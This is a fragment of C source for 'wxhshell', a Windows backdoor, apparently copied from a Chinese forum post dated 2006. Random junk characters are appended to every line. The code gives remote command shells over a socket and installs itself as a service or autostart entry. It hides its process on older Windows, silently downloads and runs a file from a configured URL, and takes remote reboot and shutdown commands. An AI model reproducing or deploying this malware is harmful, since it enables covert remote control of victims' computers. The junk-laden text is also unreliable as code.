    switch(cmd[0]) { 5_0(D;Q  
  @ P@c.*}s  
  // 帮助 %pu Lr'Y  
  case '?': { #tt?!\8C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #X: 'aj98  
    break; D3Jr3 %>  
  } 53HU.  
  // 安装 x?x`oirh  
  case 'i': { M >:]lpRK  
    if(Install()) x\?;=@AW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |o'Q62`%}  
    else KPSh#x&I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c8)/:xxl  
    break; |vte=)%  
    } &"_u}I&\  
  // 卸载 ERUt'1F?]  
  case 'r': { kE.x+2  
    if(Uninstall()) K.C> a:J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0.r4f'vk  
    else #8{F9w<Rf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !>x|7   
    break; 7;.xc{  
    } -Z4{;I[Q@  
  // 显示 wxhshell 所在路径 +u@aJ_^  
  case 'p': { X.ONa_  
    char svExeFile[MAX_PATH]; .*=]gZ$IE  
    strcpy(svExeFile,"\n\r"); NT%W;)6m9  
      strcat(svExeFile,ExeFile); :J}t&t  
        send(wsh,svExeFile,strlen(svExeFile),0); z s Qo$p  
    break; <1w/hy&mWN  
    } C0.'_  
  // 重启 eZ a:o1y  
  case 'b': { -3Avs9`5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [LT^sb  
    if(Boot(REBOOT)) IM=bK U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Q1FL MLV  
    else { |{g+Y  
    closesocket(wsh); STfyCtS  
    ExitThread(0); [~W`E1,  
    } fsO9EEn7 X  
    break; D+V7hpH-  
    } Mv|ykJoz"  
  // 关机 &a!BD/  
  case 'd': { !.7udYmB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D0Z\Vvy  
    if(Boot(SHUTDOWN)) He0=-AR8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Zuq?1=  
    else { ,O1O8TwUB0  
    closesocket(wsh); m,3er*t{  
    ExitThread(0); <0|9Tn2O  
    } ?[ly`>KpJ  
    break; D/(L  
    } RVtQ20e";r  
  // 获取shell -@^Zq}  
  case 's': { ,!G{5FF8:  
    CmdShell(wsh); mtic>  
    closesocket(wsh); U5Erm6U:  
    ExitThread(0); Ot&:mT!2  
    break; YF#H Sf7  
  } 8$xPex~2  
  // 退出 l>lW]W  
  case 'x': { ]!1OH |Ad  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ww^ev%  
    CloseIt(wsh); ||2Q~*:  
    break; 5_K5?N  
    } F}Mhs17!|  
  // 离开 Jsg I'  
  case 'q': { ;S$Ll*f>D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5OM?3M  
    closesocket(wsh); G@!z$  
    WSACleanup(); MgnM,95  
    exit(1); 2.}R  
    break; !=Y;h[J.p  
        } CR4rDh8za  
  } ?tf&pgo  
  } 78n}rT%k1  
3HG;!D~m;  
  // 提示信息 ;N+$2w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dYFzye  
} @$Qof1j'%  
  } mOll5O7VW  
fbrp#G71y  
  return; (A k\Lm  
} ,zcQS-e2  
lw8"'0  
// shell模块句柄 m:tiY [c>W  
int CmdShell(SOCKET sock) b yg0.+e0  
{ kg5ev8  
STARTUPINFO si; RR1A65B  
ZeroMemory(&si,sizeof(si)); dtM[E`PL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NQTnhiM7$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u'Q?T7  
PROCESS_INFORMATION ProcessInfo; ]>##`X  
char cmdline[]="cmd"; [y) Fc IK}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lYf+V8{  
  return 0; $<@\-vYvr@  
} -P=g3Q i  
p?(L'q"WK  
// 自身启动模式 {B$2"q/~  
int StartFromService(void) :@ uIxa$[  
{ Ftb%{[0}u3  
typedef struct O/AE}]  
{ Df07y<>7Q  
  DWORD ExitStatus; 1N`vCt]w  
  DWORD PebBaseAddress; @`u?bnx]e  
  DWORD AffinityMask; KHiFJ_3  
  DWORD BasePriority; \jW)Xy  
  ULONG UniqueProcessId; `T*U]/zQ  
  ULONG InheritedFromUniqueProcessId; hi{%pi&!T  
}   PROCESS_BASIC_INFORMATION; l1_X(Z._V  
t *6loS0+  
PROCNTQSIP NtQueryInformationProcess; "vF MSY  
3EFD%9n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m/&i9A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zp`T  
|fsm8t<~8  
  HANDLE             hProcess; -*VKlZ8-  
  PROCESS_BASIC_INFORMATION pbi; -H(vL=  
H(u+#PIIw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d<p2/aA  
  if(NULL == hInst ) return 0; @B1{r|-<^  
SDJH;c0   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pd=,$UQp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  aA*9,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OTvROJP  
$j` $[tX6l  
  if (!NtQueryInformationProcess) return 0; ( `' 8Ww  
6/ g%\ka  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V}8$p8#<@  
  if(!hProcess) return 0; #m. AN  
JV"NZvjN7d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IFNWS,:  
%Tcf6cK"  
  CloseHandle(hProcess); ^%bBW6eZ  
>mu)/kl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  I?Y d   
if(hProcess==NULL) return 0; mLL$|  
%5</ d5.  
HMODULE hMod; R|,7d:k  
char procName[255]; x2wg^$F*oO  
unsigned long cbNeeded; w*LbH]l<-  
Evu=M-?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <zB*'m  
7Ur?ep  
  CloseHandle(hProcess); iv%w!3#  
`"y`AY/N  
if(strstr(procName,"services")) return 1; // 以服务启动 w8M2N]&:  
SBKeb|H8  
  return 0; // 注册表启动 rnhFqNT:  
} $%qg"  
E{^^^"z P  
// 主模块 :xeLt;  
int StartWxhshell(LPSTR lpCmdLine) *_hLD5K!  
{ L ^Y3=1#"g  
  SOCKET wsl; DQ6jT@ZDH  
BOOL val=TRUE; n[k1np$7?6  
  int port=0; ?T*";_o,B  
  struct sockaddr_in door; &~~s6   
~uaP$*B[  
  if(wscfg.ws_autoins) Install(); (i`(>I.(/  
+cg {[f,J;  
port=atoi(lpCmdLine); aO1IVESr$  
Hhv$4;&X  
if(port<=0) port=wscfg.ws_port; q^Tis>*u6  
-WR}m6yMr  
  WSADATA data; NrJzVGeS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iyM^[/-R6  
Bku' H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hw,^G5m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >]$aoA#  
  door.sin_family = AF_INET; (Pi-uL<[a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *3Nn +T  
  door.sin_port = htons(port); c?6d2jH.  
Q_P5MLU>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L7q |^`  
closesocket(wsl); H^(L90  
return 1; v[#)GB _5  
} cdp0!W4Gi  
T0 |H9>M  
  if(listen(wsl,2) == INVALID_SOCKET) { ,seFkG@1  
closesocket(wsl); c~tAvDX  
return 1; tHI*,  
} "DckwtG:%  
  Wxhshell(wsl); 1bRL"{m^)-  
  WSACleanup(); %?tq;~|]Q  
Z;<ep@gy~  
return 0; U</+.$b  
&hN,xpC  
} lizTRVBE  
!WKk=ysFS  
// 以NT服务方式启动  (K #A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U"5q;9#q  
{ ])$S\fFm  
DWORD   status = 0; {+=i?  
  DWORD   specificError = 0xfffffff; `SOhG?Zo  
LM1b I4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D Vw Cx^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DP>mNE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vjTwv+B"  
  serviceStatus.dwWin32ExitCode     = 0; Es;;t83p  
  serviceStatus.dwServiceSpecificExitCode = 0; \3^Pjx  
  serviceStatus.dwCheckPoint       = 0; Q4%IxR?  
  serviceStatus.dwWaitHint       = 0; 4 X`^{~  
<-)9>c:k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :kp0EiJ  
  if (hServiceStatusHandle==0) return; T-P@u-DU  
T T"3^@  
status = GetLastError(); 0xBY(#;Q  
  if (status!=NO_ERROR) R<g=\XO'y  
{ QkX@QQ T?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kym:J \}9B  
    serviceStatus.dwCheckPoint       = 0; [X|OrRA  
    serviceStatus.dwWaitHint       = 0; FmA-OqEpA  
    serviceStatus.dwWin32ExitCode     = status;  c!D> {N  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zr"dOj$Jf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w-: D  
    return; . bG{T|  
  } %FS;>;i?  
l<RfRqjw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4(m3c<'P  
  serviceStatus.dwCheckPoint       = 0; *|'}v[{v^9  
  serviceStatus.dwWaitHint       = 0; ^<9)"9)m_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (46U|P(v  
} F*<Ws;j  
#NF+UJYJ&'  
// 处理NT服务事件,比如:启动、停止 E& ]_U$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ wQcB  
{ Q-Y@)Mf~?0  
switch(fdwControl) \UQ],+H  
{ @Z2/9K%1'  
case SERVICE_CONTROL_STOP: /nM*ljfB\  
  serviceStatus.dwWin32ExitCode = 0; 4~WlP,,M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jr1Se9u D  
  serviceStatus.dwCheckPoint   = 0; lt%-m@#/  
  serviceStatus.dwWaitHint     = 0; we a\8[U3"  
  { +~:0Dxv W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & =sayP  
  } !:J< pWN"  
  return; qS82/e)7  
case SERVICE_CONTROL_PAUSE: s=jO; K$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `w=!o.1  
  break; P rt#L8  
case SERVICE_CONTROL_CONTINUE: 3mA/Nu_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; },3R%?8 9%  
  break; D4\(:kF\Hg  
case SERVICE_CONTROL_INTERROGATE: ]Hj`2\KD.d  
  break; dh,7iQ s  
}; +}]wLM}\UF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @}{VM)Fc+  
} I)uASfT$  
Y;PDZb K3  
// 标准应用程序主函数 ]eL~L_[G\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }'_:XKLj  
{ -(  ER4#  
h=mv9=x  
// 获取操作系统版本 c=<v.J@K  
OsIsNt=GetOsVer(); s @3 zx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nuo<` 6mV@  
$YR{f[+L w  
  // 从命令行安装 oG9SO^v_  
  if(strpbrk(lpCmdLine,"iI")) Install(); U#l.E 1Z  
.?7So3   
  // 下载执行文件 2X +7b M  
if(wscfg.ws_downexe) { <sF!]R&4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lZ+/\s,]|  
  WinExec(wscfg.ws_filenam,SW_HIDE); _4S7wOq5  
} Jz2 q\42q  
vKV{ $|  
if(!OsIsNt) { (Bh L/A 4  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ut=0~x.=<  
HideProc(); 5[hlg(eb  
StartWxhshell(lpCmdLine); _"`/^L`Q?  
} P:vX }V |[  
else k.ww-nH  
  if(StartFromService()) j[BgP\&,  
  // 以服务方式启动 [/n' @cjNZ  
  StartServiceCtrlDispatcher(DispatchTable); _c,&\ wl$  
else uof0Oc.  
  // 普通方式启动 UvoG<;  
  StartWxhshell(lpCmdLine); 0$(jBnE  
0honHP  
return 0; nFSG<#x\  
}
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只看该作者 1 发表于: 2006-10-10
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